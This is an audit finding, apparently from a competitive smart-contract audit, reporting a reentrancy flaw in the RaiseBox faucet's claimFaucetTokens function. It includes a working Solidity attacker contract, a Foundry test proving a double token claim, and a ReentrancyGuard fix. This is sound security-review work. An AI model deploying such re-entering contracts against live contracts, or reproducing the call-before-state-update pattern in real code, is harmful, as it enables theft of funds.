Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy vulnerability in `RaiseBoxFaucet::claimFaucetTokens` makes it possible to double RaiseBox tokens claim

Root + Impact

Description

  • When users call the RaiseBoxFaucet::claimFaucetTokens function they claim RaiseBox tokens and first time users get some Sepolia ETH.

  • Because the function makes a low-level call to transfer Sepolia ETH to user an attacker can deploy a contract which reenters the function and double their RaiseBox tokens claim.

function claimFaucetTokens() public {
// code
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @audit - An attacker can double their claim by reentering the claimFaucetTokens function via a fallback or a receive function when sending ETH.
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// code

Risk

Likelihood:

  • Anyone can deploy a contract with a simple recieve function that calls claimFaucetTokensfunction so the likelyhood is very high.

Impact:

  • The invariant one claim per cooldown is bypassed. That's a business logic failure, not a inor edge case.


Proof of Concept

Flow

  1. Attacker deploys a contract with a receivefunction that calls claimFaucetTokens.

  2. Attacker calls claimFaucetTokenswith the deployed contract.

  3. The RaiseBoxFaucetcontract sends Sepolia ETH to the attacker contract.

  4. When attacker contract receives the Sepolia ETH it reenters the claimFaucetTokensfunction claiming RaiseBoxtokens two times.

Add this contract to test suite:

contract ReentrancyClaimFaucetTokens {
RaiseBoxFaucet raiseBox;
constructor(RaiseBoxFaucet _raiseBox) {
raiseBox = _raiseBox;
}
function attack() external {
raiseBox.claimFaucetTokens();
}
fallback() external payable {
// Attempt to re-enter claimFaucetTokens during ETH transfer
raiseBox.claimFaucetTokens();
}
receive() external payable {
// Attempt to re-enter claimFaucetTokens during ETH transfer
raiseBox.claimFaucetTokens();
}
}

Add this code to the test contract

function warpClaimCooldown() internal {
vm.warp(block.timestamp + CLAIM_COOLDOWN);
}
function testReentrancyAttackClaimFaucetTokens() public {
uint256 expectedRaiseBoxBalance = faucetDrip * 2; // Attacker should be able to claim twice (initial + reentrant)
// Deploy attacker contract
ReentrancyClaimFaucetTokens attacker = new ReentrancyClaimFaucetTokens(raiseBox);
// Warp time to allow claiming
warpClaimCooldown();
// Call attack in attacker contract which calls claimFaucetTokens
attacker.attack();
// Assert the expected balance after the attack
assertEq(raiseBox.balanceOf(address(attacker)), expectedRaiseBoxBalance);
}

Recommended Mitigation

Add ReentrancyGuardto contract and add the nonReentrantmodifier to the claimFaucetTokensfunction.

Additionally all state changes and transfers should happen before the call, but adding the nonReentrantmodifier should be sufficiant.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// code
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// code
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.